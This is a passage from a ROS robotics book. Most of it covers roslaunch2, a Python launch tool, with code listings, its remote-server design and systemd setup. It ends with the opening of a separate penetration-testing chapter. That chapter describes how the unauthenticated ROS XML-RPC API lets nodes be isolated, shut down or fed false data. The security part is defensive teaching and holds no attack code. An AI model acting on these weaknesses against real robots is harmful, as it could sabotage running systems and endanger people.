However, as depicted in Fig. 1, only minor modifications have been made to

roslaunch in the recent past. The figure shows the time on the x- and the number

of modified code lines on the y-axis. It is therefore not expected to see new major

features in roslaunch, in particular considering the upcoming ROS 2. Even worse,

the maintainer of the ROS core packages even states that

The roslaunch implementation with all the recursion and context switching is fragile at best.

Other pull requests adding features [...] have not been merged since it is difficult to judge if

changes break the existing functionality., Dirk Thomas (Open Source Robotics Foundation)1

Unfortunately, the XML based launch files processed by the roslaunch tool are

limited in terms of functionality. For instance, roslaunch provides “substitution argu-

ments”2 like $(env ENVIRONMENT_VARIABLE) or $(find pkg) in launch

files which will be replaced by the corresponding content (here, the value of the

environment variable and the path to the named ROS package respectively) before

launching. All substitution arguments are only resolved locally despite the fact that

associated nodes may be launched remotely. In roslaunch2, for example, one can

not only resolve environment variables or file paths remotely but also automatically

make the resolution dependent on the finally used machine, a node is being launched

on. As another example, if and unless provide the restricted3 ability in roslaunch

to state conditions on the inclusion of XML tags and blocks.4 Unfortunately, creating

complex if(-elseif)-else chains is difficult and heavily impedes code readabil-

ity. Likewise, the <group> tag has a ns attribute which is documented as being

optional5 but it does not allow an empty name6 (e. g, to omit the group in case a

parameter is empty or not set). Again, in roslaunch2 ,, one can simply use Python

buildins to create conditional code while exploiting the full power of the Python

language.

To retain compatibility with ROS and to avoid reinventing the wheel, roslaunch2

still employs roslaunch as its backend for actually doing the launch. This is realized

by generating XML code from the provided launch module (Python) code. In fact and

in the absence of any programming errors in the launch code, the user will only see

1https://github.com/ros/ros_comm/pull/540#issuecomment-68298290.
2http://wiki.ros.org/roslaunch/XML#substitution_args.
3https://github.com/ros/ros_comm/pull/540.
4http://wiki.ros.org/roslaunch/XML#if_and_unless_attributes.
5http://wiki.ros.org/roslaunch/XML/group.
6https://github.com/ros/ros_comm/issues/360.
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Fig. 1 Code frequency (additions and deletions per week) of the roslaunch directory inside the

ros_comm repository at https://github.com/ros/ros_comm/tree/lunar-devel/tools/roslaunch as of

10/04/2018: starting from 2014, only minor modifications have been made to the code base

roslaunch output upon launching nodes. To ease usability, the roslaunch2 command

line tool behaves very similar (if not equally) to roslaunch and mimics important flags.

Additionally, it comes with tab completion support for (Ba)sh-like shells similar to

roslaunch.

In the following, two key features are outlined justifying the usefulness of

roslaunch2 for the ROS community. First, Python’s if, elseif and else clauses

can be used to virtually make all parts of the launch code dependent on a conditional

whereby the condition itself can be arbitrarily complex. For instance, a node may

only be started if a certain package is installed or a specific hardware capability is

given. Moreover, sets of nodes can be pushed to a namespace depending on parame-

ters (of the launch code). However, if these parameter are not set or empty, the nodes

may still be started but without pushing them to the namespace. Second, loops are not

present in roslaunch at all. The ROS community’s typical workaround to this problem

was to write an additional shell script that generates the XML code based on some

parameter. Unfortunately, this makes the (XML) launch file a temporary byproduct

and the script “the launch file”. Furthermore, the maintainability of this workaround

is low since launching typically requires considering at least two files–the script and

the generated XML code (for inspection and debugging). In addition, it requires the

developer to always write code for the code generation. In roslaunch2 code, one can

now use Python’s for and while loop keywords to declare loops that spawn ROS

nodes of any complexity which is particularly useful for simulations where many
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similar robots (= set of nodes) need to be started in a bunch. And in particular, only

a single file written in a single language (Python) captures all the launch related

functionality. Clearly, launch modules can be reused so that modularity of the launch

code is ensured.

roslaunch2 may thus be useful both in teaching and research because it encourages

students in getting started with ROS by just learning a single and widely used lan-

guage (Python) since ROS nodes and launch files can be written in that language and

the syntax of roslaunch is completely hidden (but can be revealed if desired). More-

over, simulation scenarios typically require more complex conditions and multiple

node instantiations which can simply be realized using the proposed tool.

The remainder of this chapter is organized as follows:

– In Sect. 2, the current launch system of ROS is briefly reviewed to motivate the

proposed package. It also compares roslaunch with roslaunch2 and shows side-

by-side examples and how to launch on the command line.

– Section 3 explains the underlying design concepts of roslaunch2 which also

includes the server architecture required for launching and resolving remotely.

– Section 4 then continues with a more detailed example of the capabilitites and

features of roslaunch2 that may be useful for getting started in more advanced

scenarios. The provided example code is explained in detail as a hands-on course.

– Section 5 presents special features of roslaunch2, namely setting up a system for

launching and resolving remotely and basic load balancing capabilities using the

MachinePool class.

– Finally, Sect. 6 completes with an explanation of possible errors and warnings that

may occur during the use of roslaunch2 and how they can be debugged.

For readers that are purely interested in using roslaunch2, the Sects. 4 and 6 are

mostly important for getting started quickly. Developers that are interested in adding

features to roslaunch2 should have a look at Sects. 2 and 3.

2 Overview and Limitations of Roslaunch

Recap that in ROS, processing of data is carried out by nodes (processing enitites)

that receive data via network or attached hardware devices, process it and possibly

publish results, making them available to other nodes. In the end, nodes are only

processes running on a certain (embedded) system. Complex robotic systems mostly

consist of multiple nodes so that “starting a robot” also requires to start all dedicated

nodes. ROS provides the roslaunch tool and its associated XML based language to

write configuration files that specify which nodes should be started on a machine,

what the parameters of these nodes are, how they are named, etc.

Listing 1.1 depicts a small exemplary launch file which starts the fake_lo-
calization node (cf node tag) and also sets some parameters (cf param tags)

on the parameter server. Assuming that file is named rl-example.launch and
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✞ ☎
1 <?xml version ="1.0" encoding ="UTF -8" standalone ="yes"?>

2 <launch >

3 <arg name="ns" default="/" /> <!-- argument for this launch file -->

4 <group ns="$(arg ns)" > <!-- put node in a namespace -->

5 <node name="fake_localization" pkg="fake_localization"

6 type="fake_localization" respawn="false" output="screen" >

7 <param name="global_frame_id" value="$(arg ns)map" />

8 <param name="odom_frame_id" value="$(arg ns)odom" />

9 <param name="base_frame_id" value="$(arg ns)base_link" />

10 </node >

11 </group >

12 </launch >
✝ ✆

Listing 1.1 Example of a simple launch file (XML) for roslaunch: the code starts the

fake_localization node within an optional namespace that may be passed to the launch file as

an argument. Additionally, parameters of the node are set.

stored inside the ROS package roslaunch2, the following command allows to

start it as usual in ROS:

$ roslaunch roslaunch2 rl-example.launch

Note that the dollar sign just indicates the beginning of the command prompt here

(common in many shells).

Many limitations of roslaunch have already been mentioned in Sect. 1. In particular

in Listing 1.1, if the ns (line 3) argument is empty to omit namespacing, the launch

would fail because the attribute cannot be empty. All these restrictions have raised

the idea of extending the XML syntax with a templating language like Genshi,7 Jinja8

or Mako9 (similar to the approach of using Xacro10 in describing Gazebo simulation

worlds). However, this causes a mixture of XML code with other languages and

heavily impedes code readability. For example, Mako allows one to embed pure

Python inside the XML code which is finally translated to XML code (more precisely,

it generates XML code). In contrast, Genshi, for instance, requires to use predefined

tags that enrich the functionality of XML. However, this provides less flexibility with

regard to adding more functionality (although Genshi can be extended with custom

tags but that is tedious). Moreover, the evaluation order of such embedded tags or

(foreign) code is a serious source of confusion because one would assume to be able

to access all elements of the pure XML code but that requires additional efforts.

For the aforementioned reasons, a different approach has been pursued in

roslaunch2 that uses pure Python code to describe the entire launch configuration.

Listing 1.2 shows an example of a so-called launch module for roslaunch2 which is

similar to the one depicted in Listing 1.1.

7https://genshi.edgewall.org/.
8http://jinja.pocoo.org/.
9http://www.makotemplates.org/.
10http://wiki.ros.org/xacro.
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✞ ☎
1 #!/usr/bin/env python

2 # -*- coding: utf -8 -*-

3

4 from roslaunch2 import *

5

6 def main (** kwargs): # contains the entire code to launch

7 cfg = Launch () # root object of the launch hierarchy

8 # Process arguments (not command line arguments) for this launch module:

9 ns = kwargs[’namespace ’] if ’namespace ’ in kwargs else str()

10

11 g = Group(ns) # possibly empty namespace group

12

13 # Create a (cached) package reference:

14 pkg = Package(’fake_localization ’, True)

15 if pkg and pkg.has_node(’fake_localization ’, True): # only add if it exists

16 n = Node(pkg)

17 # Set coodinate frame IDs (on the ROS parameter server):

18 n += ServerParameter(’global_frame_id ’, ’map’)

19 n += ServerParameter(’odom_frame_id ’, tf_join(ns , ’odom’))

20 n += ServerParameter(’base_frame_id ’, tf_join(ns , ’base_link ’))

21 g += n # move node to namespace ’ns’

22

23 cfg += g

24 return cfg
✝ ✆

Listing 1.2 Example of a launch module (written in Python) for roslaunch2: the script behaves

similar to Listing 1.1 but also checks if the package “fake_localization” and its associated node

actually exists. Additionally, the namespace is ommited if the namespace argument is not present

or empty.

The import at the beginning most conveniently makes all typically needed classes

and functions available in the current scope. The main() function (line 6) defines

the central entry point for the code to be launched. kwargs declares a dictionary

that optionally contains parameters that have been passed to this launch module

from another module. Here, namespace can be such a parameter. Note that this

is not a command line argument (although it may have originated from a command

line argument in another launch module). More information about reusability and

inclusion of launch modules is given in Sect. 4. All objects that comprise the launch

hierarchy (like in roslaunch) need to be added to a single Launch object (line 7)

which main() needs to return. That object is processed by the roslaunch2 tool and

used to generate XML code which is finally provided to roslaunch. Line 9 extracts

the namespace (if provided) from the dictionary and defaults to an empty string.

If ns is empty, the content of all objects added to the Group (line 11) is still

considered but without having a namespace. The Group class has an ignore_-
content parameter that also quickly allows one to exclude the content of the group

completely. In line 14, a package reference to the ROS package fake_locali-
zation is created which will not raise any exceptions if it is not found (hence,

the True passed as last parameter). If the package is available in the current ROS

installation and if it contains an equally named node “fake_localization” (line 15), a

Node class is instantiated to launch that node (line 16). This actually differs from the

launch file for roslaunch shown in Listing 1.1. Note that for demonstration purposes

and brevity, just the Package reference is passed to the Node class which works
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(here) because internally, the node’s type is simply considered to be named like

the package as a shortcut. Clearly, all parameters can also be specified explicitly

if this does not apply. Additionally, parameters are added to the node (lines 18–

20) whose names are specific to the fake_localization node.11 Finally, the

node is added to the group (line 21), the group is added to the root launch object

(line 23), and the root object is returned (line 24). Also note that this code snippet uses

roslaunch2.utils.tf_join() to prepend the namespace ns to the odom
and base_link frame IDs to form unique names among multiple robots. It is the

recommended way to ensure consistency.

The code can be started similarly to Listing 1.1, again assuming it is saved in a

file named rl2-example.pyl located in the roslaunch2 package:

$ roslaunch2 roslaunch2 rl2-example.pyl

The extension .pyl has been selected to distinguish between normal Python mod-

ules (.py) and to indicate that the file contains a “launch module” (as compared to a

launch file for roslaunch). This also make tab completion support more convenient.

3 Design Internals of roslaunch2

This section details the (internal) design of roslaunch2 : Section 3.1 explains the inter-

nal code design and Sect. 3.2 presents the server architecture that is used for remote

resolving. Figure 2 visualizes the different stages that are executed when a launch

module is handled. After providing the launch module code, roslaunch2 processes

all added EnvironmentVariable objects as a preprocessing step to move them

down to the nodes that apply to them (implicit addition). If a node already contains

such a variable (added explicitly using the API) it will not be overwritten. The pre-

processing is needed to allow resolving them later for the nodes and their associated

machine they may run on. During the (XML) code generation step, local and remote

resolving of environment variables and (file) paths happens as well as the assignment

of the machine, a node will finally be started on. More information on how to launch

remotely as well as on how to setup a system for remote launching is described in

Sects. 4 and 5.1. Finally, when the XML code has been generated, it is forwarded

(via a temporary file) to roslaunch and after the latter has terminated, a cleanup is

performed to remove the temporary file.

Clearly, using roslaunch as a backend for roslaunch2 superimposes some restric-

tions on adding new features to the launch system since in the end, everything need

to be mapped to existing features of roslaunch. However, the current implementation

just exploits the basic capabilities of roslaunch and having the server infrastructure of

roslaunch2 (as described in detail in Sect. 3.2) also allows to implement new features

that cannot be mapped to roslaunch itself.

11http://wiki.ros.org/fake_localization.
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Fig. 2 Stages of processing and launching a launch module inroslaunch2: the “launch module”

on the left side of thefigure serves as the input for the tool (box on the right side). Internally, after

processing possible environment variables, the XML code generation takes place. Meanwhile, final

machines are assigned to nodes and local and remote resolution of paths and variables happens.

Finally, the resulting XML code is fed into roslaunch as a temporary file which is deleted (cleanup)

once roslaunch terminates

3.1 Internal Architecture

Since roslaunch2 somehow mimics and extends the functionality of roslaunch, a class

hierarchy has been developed and implemented in Python that reflects and enhances

the tag hierarchy of roslaunch while also applying concepts of object-oriented pro-

gramming, see Fig. 3. The GeneratorBase class represents the base class for

all classes that have a XML representation. The GeneratorBase.generate()
method can be invoked to generate the XML code for that element. Likewise, there

are objects that can contain other objects. For instance, a Node may contain various

instances of the Parameter (base) class. They are reflected in the roslaunch2 code

base with the Composable and Composer interface classes respectively. Classes

that can be added to a Composer are inherited from Composable. Accordingly,

classes inherited from Composer need to specify on constructions what set of types

can be added to them. Adding an instance to another instance creates a deep copy so

that the added instance can be modified and reused afterwards.

Examples for classes that can contain other classes are Launch (can contain all

other objects), Group (dito), and Node (can contain Parameter and Environ-
mentVariable), cf Fig. 3. Remapable implements the remapping functionality

of roslaunch. Each class representing an remapable entity in roslaunch is derived

from this class, e. g, the Group class.

In contrast to roslaunch which has no (tag based) manifestation of a “package”,

roslaunch2 has a Package class which serves as a resource locator to find any file

or directory in a ROS package, including other launch modules that can be included

in the current launch module. Because lookups in the file system are rather slow,

all such accesses are accelerated by a cache that is implemented in the Package
class (and also used remotely, cf Sect. 3.2). Speedups of more than 275 % have been

observed (in a rather large launch module) with the cache depending on the structure

of queries. Whenever a file, directory or package is requested, the file system is

crawled and the result is put into the cache and returned. However, if the requested

key (i. e., name of file, directory or package) is already in the cache, the cached entry

akoubaa@coins-lab.org



roslaunch2: Versatile, Flexible and Dynamic Launch Configurations … 173

Fig. 3 Excerpt of the class diagram of important classes in the roslaunch2 code base;

GeneratorBase, Composable, and Composer (gray) are interfaces that reflect properties

of roslaunch XML tags. Keep in mind that Package is not derived from any of these classes since

it has no equivalent in roslaunch and also notice that command line arguments are represented with

instances of the LaunchParameter class (both not shown here).

is returned without having the need to access the file system. Thus, in the end there

will not be any $(find pkg) fragments in the resulting XML code.

3.2 Server Architecture

As already explained in Sect. 3, features of roslaunch2 need to be mapped to roslaunch

which restricts the flexibility in adding new functionality to the launch system. This

motivates the need to add an additional layer that also serves as a leverage point

on remote hosts to implement remote features. In particular, local functionality can

all be realized with Python. For that reason, roslaunch2 follows a way of allowing

to reuse functionality already implemented in Python remotely as this is the most

natural way of making it available on remote systems (robots).

A library that facilitates using Python code remotely is Pyro12 (Python Remote

Objects). In a nutshell, Pyro “enables you to build applications in which objects can

talk to each other over the network, with minimal programming effort. You can just

use normal Python method calls to call objects on other machines”. The downside

of this approach is that it requires a (Pyro dedicated) name server (similar to a

DNS) as well as a running instance of a program–the roslaunch2 server process also

12https://pythonhosted.org/Pyro4/.
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provided by the proposed package–that replies to client requests. More specifically,

in roslaunch2 a launch module requesting information remotely somehow acts as a

client when it is processed by the roslaunch2 tool. Another (“server”) object then

needs to listen to such requests and gathers the required information on the remote

system which is then send back over the network as part of the launch process. Custom

environment variables are added to a auto-generated environment loader script on

the remote machine which also automatically adds all environment variables that are

present on the (remote) roslaunch2 server’s shell. This also makes available all ROS

functionality (like package crawling) if the roslaunch2 server has been correctly

started in a shell that also sources the ROS installation and possible other required

workspaces.

For instance, a launch module may ask for therosconsole.configfile whose

path need to be stored in the ROSCONSOLE_CONFIG_FILE environment variable.

All this needs to be done remotely, i. e., finding the remote path of that file as well

as setting the environment variable remotely. In roslaunch2, a launch module can

specify this by instantiating an EnvironmentVariable object that is given a

Path object as its value:

p = Path(’/config/rosconsole.cfg’, Package(’my_package’))
ev = EnvironmentVariable(’ROSCONSOLE_CONFIG_FILE’, p)

TheEnvironmentVariableobject is then, for example, (implicitly or explicitly)

added to a Node object which in turn, is said to be launched on a certain Machine
object, the remote system S. ThePathobject will then invoke aPackage.find()
call on S (remotely) for the given key (“rosconsole.config” here) inside the

roslaunch2 server running on S. Again, all this happens during a launch (and before

invoking roslaunch) so that starting a large set of node remotely that require many

information to be resolved prolongs the launch process slightly.

Remote Python objects in Pyro require to have a unique address that are used

by the client (caller issuing the remote procedure call) to contact that corresponding

object on the correct machine. roslaunch2 uses the following format for the object

address generation to ensure unique addresses across all robots that may even be

used by different users simultaneously (most likely in a simulation setup):

PYRONAME: ip_address . user_name . fully_qualified_class_name

Boxes indicate variables whose value depend on the actual system, user name and

class name. The existing functionality of roslaunch2 can be extended by adding

custom classes which can simply be imported in the used launch modules with the

known Python keyword import. However, to make such functionality also available

remotely, such classes should be loaded as a plugin inside the roslaunch2 server. This

can be accomplished by setting the ROSLAUNCH2_PLUGINS environment variable

to the directory that contains the plugins before starting the server. A very simple

example plugin is also given in the “plugins” directory of the roslaunch2 package.

All classes of all Python (.py) files in the plugin directory are automatically loaded

as remote-callable whereby the plugin path contained in ROSLAUNCH2_PLUGINS
is not part of the registerd fully_qualified_class_name. More information
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and details on how the Pyro name server as well as the roslaunch2 server need to be

set up is explained in Sect. 5.1.

Finally, as described for the local case in Sect. 3, temporary files (especially the

auto-generated environment loader script) are removed remotely as well, as part of

the cleanup process (see Fig. 2).

4 A More Complex Example

This section demonstrates a more complex example of roslaunch2 whose code is

depicted in Listing 1.3. It uses the concepts of launch module inclusion (reusability),

remote resolving and launching, loops and conditionals, and command line argument

processing. Additionally, two useful command line flags of roslaunch2 are presented.

✞ ☎
1 #!/usr/bin/env python

2 # -*- coding: utf -8 -*-

3

4 from roslaunch2 import *

5

6 def main (** kwargs):

7 pkg = Package(’my_ros_package’)

8 root = Launch()

9 root += EnvironmentVariable(’ROSCONSOLE_CONFIG_FILE ’,

10 Path(’/config/rosconsole.cfg’, pkg))

11

12 # Define command line arguments:

13 parser = LaunchParameter(description=’Start my setup of my_ros_package.’)

14 parser.add(’sim’, ’Select simulator or hardware ’, ’stage’)

15 parser.add_flag(’headless ’, ’Run simulator without GUI?’, False , ** kwargs)

16 parser.add(’nav_stack ’, ’Type of navigation stack’, ’move_base ’, ** kwargs)

17 # ...

18 args , _ = parser.parse_known_args ()

19

20 # Generate dictionary with robot configuration

21 config = pkg.use(’config_generator.py’, args=args)

22

23 root.add(Package.include(’my_other_ros_package ’, ’remap_to_instance.pyl’))

24 instance = Group(args.instance_id) # gets ignored if instance_id is empty

25

26 # Time to give nodes until they’ve exited gracefully:

27 root += ServerParameter(ros_join(args.instance_id ,

28 ’escalation_timeout’, True), 5.0)

29

30 # Start simulation or hardware:

31 machines = {}

32 if args.sim == ’hardware ’:

33 root += pkg.use(’start_hardware.pyl’, args=args)

34 # Connect to ROS on remote machines:

35 machines = pkg.use(’/config/hardware /{:s}/ machines.py’

36 .format(args.world), args=args , ** kwargs)

37 elif args.sim != ’none’:

38 root += pkg.use(’start_sim.pyl’, args=args)

39

40 # Start localization and motion planner for each robot:

41 for robot in config[’robots’]:

42 nav_args = {

43 ’namespace ’: robot[’name’],

44 ’initial_pose’: robot[’pose’],

45 ’local_planner ’: args.local_planner ,

46 ’global_planner’: args.global_planner ,
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47 ’world’: args.world ,

48 ’robot_type’: robot[’simulation’],

49 ’args’: args}

50 # Localization:

51 localization = None

52 if args.localization != ’none’:

53 localization = pkg.use(’/config/localization /{:s}.py’

54 .format(args.localization), ** nav_args)

55 # Motion planner:

56 nav_stack = pkg.use(’/config/nav_stack /{:s}.py’

57 .format(args.nav_stack), ** nav_args)

58 if robot[’name’] in machines:

59 m = machines[robot[’name’]]

60 if ’default ’ in m:

61 if not localization is None:

62 localization.start_on(m[’default ’])

63 nav_stack.start_on(m[’default ’])

64 if not localization is None:

65 instance += localization

66 instance += nav_stack

67

68 # Start map server:

69 map_server = Node(’map_server’, args=Path(’/world /{:s}/map.yaml’

70 .format(config[’world’][’name’]), pkg))

71 map_server += ServerParameter(’frame_id ’, ’map’)

72 instance += map_server

73

74 # Start RViz with predefined config file:

75 if not args.headless:

76 rviz = pkg.use(’start_rviz.pyl’, args=args)

77 rviz.start_on(Localhost) # force to start locally

78 root += rviz

79

80 root += instance

81 return root
✝ ✆

Listing 1.3 A more complex example of the features of roslaunch2 (incomplete for brevity)

The code uses many concepts that have already been explained along with

Listing 1.2 like the import and the main() function. The addition of the envi-

ronment variable in line 9 is automatically pushed to all nodes (not defining the

same variable) and the actual value is given by the Path instance. In lines 13–

18, command line arguments are defined and parsed which can then be accessed

using the args variable. Basically, LaunchParameter is just a wrapper around

argparse.ArgumentParser for convenience which also adds the functional-

ity of collecting all command line arguments (including those of included launch

modules) to allow querying for an overview of all these parameters. It can be done

using the –ros-args flag also present in roslaunch.

For this particular example, a dedicated configuration generator is used which

generates additional data based on the provided command line flags (cf line 21).

This is also an example of how to use roslaunch2 to reuse and include another

Python file. It is similar to line 23, where the static method Package.include()
is used. Both methods Package.use() and Package.include() return a

Launch object which can be added to another launch hierarchy. Line 27 adds a

global parameter to the ROS parameter server, unlike the node-local parameters as

shown in Listing 1.2. In lines 31–38, certain nodes are launched on real hardware

(first if) or as part of a simulator (elsif). Next (see lines 41–66), for each robot that

is specified on the command line, the navigation stack and a localization algorithm
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is started in the body of the for loop. Listing 1.2 is an example for the referenced

localization launch module, in case “fake_localization” is selected. Notably, both

nodes are started on a specific machine (lines 62 and 63) using the start_on()
method if there’s a machine given in the configuration. Also note that RViz is only

started if the setup does not run in headless mode (line 75) and that the RViz node is

forced to be launched locally (on Localhost) which makes sense since graphical

output is most likely not available remotely.

Finally, notice that the generated XML code can be inspected by adding the

–dry-run flag upon invoking roslaunch2.

5 Extended Functionalities

Within this section, the required setup for enabling a system to launch nodes remotely

is presented (see Sect. 5.1). This also includes explanations on how to use the systemd

daemon to start all required tools upon boot. Section 5.2 then briefly explains how to

use roslaunch2 inside a Python-based ROS node to launch dynamically.

5.1 Starting and Resolving Remotely

First of all it is important to mention that roslaunch2 does not require any specific

setup if the remote functionality (resolving, launching) is not required. Elsewise, if

such functionality is desired, two tools need to be configured:

– the Pyro name server (once per network/setup) and

– the roslaunch2 server (on each system/robot a node should be launched on).

The Pyro name server is responsible for resolving Python remote objects, i. e., getting

their unique current address as explained in Sect. 3.2. The roslaunch2 server allows

to access information remotely on a robot where a node should be started on. For

instance, assume that a node requires a specific value of an environment variable.

Since this value must be retrieved remotely and, in particular, before actually starting

the node, the roslaunch2 server running on that remote robot sends this information

when requested by the roslaunch2 command (i. e., during the launch process).

In principle, it is sufficient to start the Pyro name server on any available system

in the subnet/network where all robots are connected to. However, it should not be

run multiple times in a subnet as this causes a partitioned name space which is not

desirable and may prevent proper resolution of remote Python objects. Using

$ python -m Pyro4.naming -n $(hostname -I | grep -o ’ˆ\S*’)

will start the server in the current command prompt. A systemd entry can also be

added for the name server as described in the following for the roslaunch2 server.

This will start the name server automatically upon booting that system/robot.
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In particular for the roslaunch2 server process, it is desirable to set up the robots

so that the server is started automatically when they are turned on. Because the

server needs to have access to the ROS installation, it must be started in a login

shell auxiliary script (that sources all relevant ROS setup scripts) which, in turn,

is started as a systemd service. On Ubuntu, this can simply be achieved by adding

#!/bin/bash -l as the magic line (shebang) to the auxiliary script. In order to

create the appropriate service unit for the systemd daemon, the file

config/systemd/roslaunch2_server.service

inside the roslaunch2 package needs to be edited according to the specific system

setup. If a service unit has also been configured to launch the Pyro name server as

mentioned previously, the roslaunch2 server needs to depend on that service, i. e.

Wants=pyro_name_server.service
After=pyro_name_server.service

whereby pyro_name_server.service is the service unit file name. Other-

wise, it needs to depend on the system’s network availability:

Wants=network-online.target
After=network.target network-online.target

The following commands then activate the service unit:

sudo cp $(rospack find roslaunch2)/config/systemd/

roslaunch2_server.service /etc/systemd/system/

sudo systemctl enable roslaunch2_server.service

sudo systemctl start roslaunch2_server.service

sudo reboot

Logging output of the services can be viewed with sudo journalctl -ru
roslaunch2_server. More detailed information and tutorials (including a

description for using upstart) as well as template files can be found in the config/
directory of the roslaunch2 package.

roslaunch2 also offers (yet basic) load balancing capabilities by means of the

MachinePool class. It allows one to add a set of machines and to specify a strategy

for machine selection. Currently, two strategies are implemented: least load average

and least memory usage. Instead of assigning a node a specific machine, an instance

of the MachinePool class (i. e., a set of machines) can be used, see Listing 1.4.

When the node is about to be started, all machines in the pool are analyzed with regard

to the selected strategy and the optimum is used for execution of that node. It is

important to remark that in the default case where many nodes are started at once,

this is not particularly useful since no (or only a few) nodes are started so that the

machine analysis is not very meaningful. However, if nodes should be started later

or even dynamically as described in Sect. 5.2, selecting a more appropriate machine

is desirable.
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✞ ☎
1 from roslaunch2 import *
2 # ...
3 mp = MachinePool(MachinePool.Strategy.LeastLoadAverage)
4 # Fill "mp" with the set of machines you would like to use

...
5 mp += Machine(’pluto ’, ’user_name ’)
6 mp += Machine(’jupiter ’, ’user_name ’)
7

8 n = Node(’rostopic ’)
9 n.start_on(mp)
10 # ...

✝ ✆

Listing 1.4 Code snippet demonstrating the use of the MachinePool class.

5.2 Launching Nodes Dynamically

Listing 1.5 shows an example of a ROS node that uses the roslaunch2 API to start

another node dynamically (“fake_localization” here). A practical use case may be

the launching of localization by means of AMCL after a map has been generated

using a SLAM algorithm first.

After initializing the Python-based ROS node (line 9), a launch module is refer-

enced using the Package class (line 14). Notice here that the file extension (.pyl)

can be omitted because roslaunch2 will automatically append it. As an alternative to

this approach, the launch hierarchy can also be build up instantaneously inside (or

as part of) the code of the node. However, realize that this causes a mixture of node

and launch code.

Once the launch hierarchy has been created, rl2.start() actually per-

forms the launching within the context of the current node (see line 15), i. e.,

the control flow is blocked until the launch terminates. For asynchronous launch-

✞ ☎
1 #!/usr/bin/env python

2 # -*- coding: utf -8 -*-

3

4 import roslaunch2 as rl2

5 import rospy

6

7 if __name__ == ’__main__ ’:

8 # Initialize the node:

9 rospy.init_node(’my_python_ros_node ’)

10

11 # Do something in your node here ...

12

13 # Launch another node (fake_localization):

14 lm = rl2.Package.include(’roslaunch2 ’, ’rl2 -example ’, namespace=’my_robot ’)

15 rl2.start(lm) # launch content synchronously
✝ ✆

Listing 1.5 Example on how to start a node dynamically from another (Python) node using

the roslaunch2 API. Alternatively to starting synchronously using roslaunch2 .start(),

a launch may also be asynchronous using roslaunch2 .start_async() which spawns a

new process.
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ing, roslaunch2 provides the start_async() method that does not block exe-

cution. The executed launch module can then be controlled using the returned

multiprocessing.Process instance.

roslaunch2 also provides hook points right before and after launching.

roslaunch2 .on_initialize.subscribe() allows to install a callback

that is invoked before roslaunch is called. Likewise, the methodroslaunch2 .on_
terminate.subscribe() allows to set callbacks that are being triggered upon

termination.

6 Errors, Debugging and Logging

roslaunch2 tries to hide as many roslaunch related errors as possible. That means that

it tries to detect and reports any errors in advance so that errors reported by roslaunch

are less likely (although still possible). Additionally, many classes have type and

consistency checks as well as “shortcuts” that simplify their use. For instance,

Node.debug() allows to simply enable a debugger for a particular node using

gdb. Error reporting also applies to remotely executed code which simplifies the

debugging of related errors.

It may happen that objects are not added to the launch hierarchy. Thus, creating

such “dummy objects” has no effect on the final launch. roslaunch2 outputs a warning

to indicate such undesired behavior. It also tests for and warns about parameters being

added multiple times to the same node to not rely on the “last setting wins” strategy

of roslaunch which may be a source of confusion.

roslaunch2 has a small logger module which provides basic functions (similar

to the severity levels of rosconsole13) for printing output during a launch. Most

notably, in case of errors that require the abortion of a launch, logger.criti-
cal() should be called which terminates roslaunch2. As a side note, the Launch
class supports an optional deprecation message parameter on construction. If that

parameter is set, the associated launch hierarchy is considered deprecated and the

provided message is printed. This may be useful in case “old” launch modules are

just kept for compatibility.

7 Conclusion

This chapter introduced the novel roslaunch2 package with its API and tools to write

launch code for the Robot Operating System in Python. It is superior to roslaunch in a

sense that it offers conditionals and loop constructs as provided by Python as well as

extended functionality to run nodes remotely. Moreover it just requires developers to

13http://wiki.ros.org/rosconsole.
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use a single and widely used programming language which is convenient for novices

because it flattens the learning curve (CMake/catkin and Python are sufficient to get

started).

Since roslaunch2 is based on roslaunch, the rather complex layer of functional-

ity related to remote launching was required in order to overcome the limitations

of roslaunch. The major disadvantage of this is that two tools (Pyro name server,

roslaunch2 server) need to be configured and running in order to use the remote

functionality. Clearly, this also creates an additional source for errors. Furthermore,

if the old roslaunch architecture is modified (although not expected), roslaunch2 may

require modifications, too.
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Abstract ROS is the most popular framework in robotics research and it also grows
in terms of industrial use. This makes ROS a worthwhile target for attackers especially
since security is not addressed by the core framework itself. Its open architecture and
flexibility are also the reasons why ROS suffers from security issues. For example, in
ROS it is possible to isolate single nodes from the rest of the application without the
ROS master, the other nodes or even the node itself (i.e., its business code) noticing
it. This is true for publishers, subscribers and services alike. This makes attacks very
difficult to spot at runtime. Penetration testing is the most common security testing
practice. The goal is to test an application for possible security flaws. To better
facilitate penetration testing for ROS, we introduce ROSPenTo and Roschaos, tools
that make use of the vulnerabilities of ROS and demonstrate how ROS applications
can be sabotaged by an attacker. In this tutorial you will learn about the ROS XML-
RPC API, which is our main attack point. You will see, how API attacks on ROS
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work in depth. You will get to know Roschaos and ROSPentTo, two tools, which can
be used to manipulate running ROS applications.

Keywords ROS · Security · Penetration testing

1 Introduction

Since its initial introduction ten years ago, ROS [16] has come quite a long way.
It is now by far the most popular tool suite in robotics research. For a few years
now, there have also been increased efforts towards its industrialization.1 As soon
as a technology moves out of the research environment though, it will become an
interesting target for hackers and other attackers with potentially economic interest
(and also through the necessary resources to perform expensive operations). This can
also be seen in the ever-increasing number of incidents [3, 7, 8, 11, 12].

What has been neglected in the development of ROS are security considerations.
With some background knowledge on how ROS works internally, it is quite easy to
manipulate.

DISCLAIMER: With this chapter, we want to show how vulnerabilities in
ROS could be exploited to manipulate a ROS application. By no means do
we want to encourage or promote the unauthorized tampering with running
robotic applications since this can cause damage and serious harm. Nev-
ertheless, we think it is important to show that those vulnerabilities exist
and to make the ROS community aware how easily an application can be
undermined.

ROS makes a clear distinction between application management issues (like find-
ing a publisher for a topic I want to subscribe to) and the communication of data. The
first is handled via an XML-RPC API while the second is TCP or UDP- based com-
munication. In both, no security considerations regarding confidentiality, integrity
or authenticity have been made. A ROS node does not need to identify or authorize
itself before taking any action. The stateless API also does not take account of what
is happening in the network. While from a software engineering point of view, many
of those design decisions seem very elegant, this opens up several attack surfaces
in ROS [5, 10]. Besides the possibility for shutdown of single nodes (as a kind of
Denial of Service), single publishers, subscribers and services can be isolated from
the rest of the application, false data can be injected and manipulations of parameters
can be performed at runtime (we go into more detail on that in the following sec-
tions). In addition to what will be shown in this tutorial, one has to keep in mind also
that eavesdropping is straightforward in ROS since no communication encryption is
present. Thus, anyone can read the data that an application transmits.

1http://www.rosindustrial.org.
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Penetration testing is the most common security testing practice [1]. The goal is
to test an application for possible security flaws. Typically it is done once, when the
application is finished to ascertain the security of the whole system. However, it is
clearly much more advantageous to do it more often, ideally to integrate it into the
development cycle. For this, tools are required.

